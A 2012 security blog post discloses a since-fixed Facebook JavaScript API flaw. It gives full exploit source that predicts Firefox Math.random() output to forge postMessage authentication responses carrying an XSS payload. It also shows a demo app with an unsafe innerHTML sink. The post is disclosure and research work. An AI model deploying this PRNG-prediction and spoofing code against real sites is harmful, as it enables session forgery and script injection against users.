Saturday, September 29, 2012

Of HTML5 security, cross-domain Math.random() prediction and Facebook JavaScript API


In an earlier post, I talked about a technique called Cross-domain Math.random() prediction. And while the technique is interesting it is perhaps not intuitively clear in what cases it could be applied. So in this post I'll show an example vulnerability in Facebook which was actually the reason why I investigated this technique in the first place.

Earlier this year, I started looking at the Facebook JavaScript API to see if I can find any vulnerabilities there. What I found is that, when a user first visits the page which uses the API, the page opens a frame in the Facebook domain and this frame sends the information about the logged in user via HTML 5 postMessage mechanism. The actual vulnerability was that the API did not check the origin of this message. In other words, it didn't verify that the authentication response message actually originated from facebook.com domain, meaning that another window in another domain could send a spoofed authentication response message. Furthermore, sanity checks were not performed on the fields in the authentication response message (such as user id of the logged in user, access token etc) - the API just assumed that all of the data received is trustworthy. So in turn, if an application uses the API and assumes that all data coming from the API is trustworthy, this could lead to vulnerabilities in the application. For example, if the application uses something like

FB.getLoginStatus(function(response) {
   if (response.status === 'connected') {
      document.getElementById("greetings").innerHTML = "Some static text " + response.authResponse.userID;
   }
}

this would be OK if the user ID can only be composed of numbers, but in the case the user ID is controlled by the attacker, it could lead to XSS, for example, by sending the following as user ID

<img src=x onerror=alert(1)>

So far so good, but the problems arose when I actually attempted to exploit this. While the Facebook JavaScript API indeed didn't verify the origin of the authentication response message, when the API made an authentication request, the request contained some random numbers. These numbers were sent back in the authentication response message and the API verified that they matched. These random numbers were generated by the API using the JavaScript Math.random() function. What I found out then and described in more detail in the earlier post (http://ifsec.blogspot.com/2012/05/cross-domain-mathrandom-prediction.html) was that in some browsers in some cases, the output of Math.random() can be predicted. So in the end I was able to exploit this on an example vulnerable application. The steps of the exploit are outlined below.

1. The exploit creates a window with the vulnerable Facebook application. Let's call this window W. By creating a new window, its random number generator is initialized based on the current time. API in W gets initialized and it is expecting an authentication response message from the facebook.com domain.

2. Based on the current time, several predictions are made about the state of the random generator in W. Random parameters of the API messages are constructed based on these predictions.

3. For each PRNG state prediction, an authentication response message that contains an XSS payload in the user_id parameter is constructed. This message is sent to W.

4. IF the message sent in step 3 reaches W before the "real" authentication response message coming from the facebook.com domain, the fake message will be accepted and parsed and the real message from the facebook.com domain will be discarded.

5. If the application uses authResponse to form any HTML code and assumes authResponse is clean, the XSS payload will be executed.

The full source code of the exploit for Mozilla Firefox is given below. Note that it is based on the code given here.

<html>
  <head>
    <script>
      var maxms = 10000;
      var delay = 100;
      var appurl = "http://fratar.zemris.fer.hr/fbapp/index.html";
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      //inits PRNG
      function InitRandPredictor(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRand() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
      
      //gets the next guid() result according to the predicted PRNG state
      function PredictGuid() {
        return 'f' + (PredictRand() * (1 << 30)).toString(16).replace('.', '');
      }
      
      var w,n,guids;
      
      //starts the exploit
      function start() {
        var d = new Date();
        n = d.getTime();
        
        //generate possible guids based on the current time
        guids = new Array(maxms);
        for(var i=0;i<maxms;i++) {
          InitRandPredictor(n+i);
          guids[i] = new Array(6);
          for(var j=0;j<6;j++) {
            guids[i][j] = PredictGuid();
          }
        }

        //create a new window with the app
        w = window.open(appurl);  

        //post spoofed messages to the app
        postmessages();
      }
      
      function writeguids() {
        var i,j;
        var str = "";
        for(i=0;i<maxms;i++) {
          for(j=0;j<10;j++) {
            str += guids[i][j] + " , ";
          }
          str += "<br />";
        }
        document.getElementById("guids").innerHTML = str;
      }
  
      var messagessent, signed_request, intervalId;
  
      //posts all messages corresponding to the possible PRNG states to the vulnerable app
      function postmessage() {
        for(var i=0;i<maxms;i++) {
          message = "_FB_" + guids[i][2] + "cb=" + guids[i][5] + "&origin=blah&domain=blah&relation=parent&frame=" + guids[i][4] + "&code=1.1111111111111111.1111.1111111111.1-111111111111111111111-11111111111_111111111" + "&signed_request=" + signed_request + "&access_token=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&expires_in=1000000&https=0";
          w.postMessage(message,"*");
        }
      }
      
      //post messages after "delay" in which the vulnerable app is opened and initialized
      function postmessages() {
        messagessent = 0;
        var m1 = '{"algorithm":"HMAC-SHA256","code":"1.1111111111111111.1111.1111111111.1-111111111111111|111111111111111111111111111","issued_at":' + Math.floor(n/1000).toString() + ',"user_id":"1 <img src=x onerror=alert(1)>"}';
        signed_request = "1_11111111111111111111111111111111111111111." + window.btoa(m1);
        
        intervalId = setTimeout("postmessage()",delay);
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <div id="guids"></div>
  </body>
</html>


The source code of the of an example application that was used to demonstrate the vulnerability is givene below.

<html>
<head>
</head>
<body>
<div id="fb-root">
<fb:name uid="loggedinuser" capitalize="true"></fb:name>
<fb:profile-pic uid="loggedinuser"></fb:profile-pic>
</div>
<div id="greetings"></div>
<script>
  window.fbAsyncInit = function() {
    FB.init({
      appId      : '259710214039921', // App ID
      status     : true, // check login status
      cookie     : true, // enable cookies to allow the server to access the session
      xfbml      : true, // parse XFBML
      oauth      : true
    });
    
    FB.getLoginStatus(function(response) {
    if (response.status === 'connected') {
        //alert('connected,' + response.authResponse.userID);
        document.getElementById("greetings").innerHTML = "Hi! Your Facebook ID is " + response.authResponse.userID;
      } else if (response.status === 'not_authorized') {
        //alert('not_authorized');
         FB.login(function(response) {});
      } else {
        //alert('none');
         FB.login(function(response) {});
      }
     });    
 
    // Additional initialization code here
  };

  // Load the SDK Asynchronously
  (function(d){
     var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement('script'); js.id = id; js.async = true;
     js.src = "//connect.facebook.net/en_US/all.js";
     //js.src = "all2.js";
     ref.parentNode.insertBefore(js, ref);
   }(document));
</script>
</body>
</html>


You can see a sucessful exploit attempt in the image below.



Facebook adressed this issue and now the API checks the origin of incoming messages.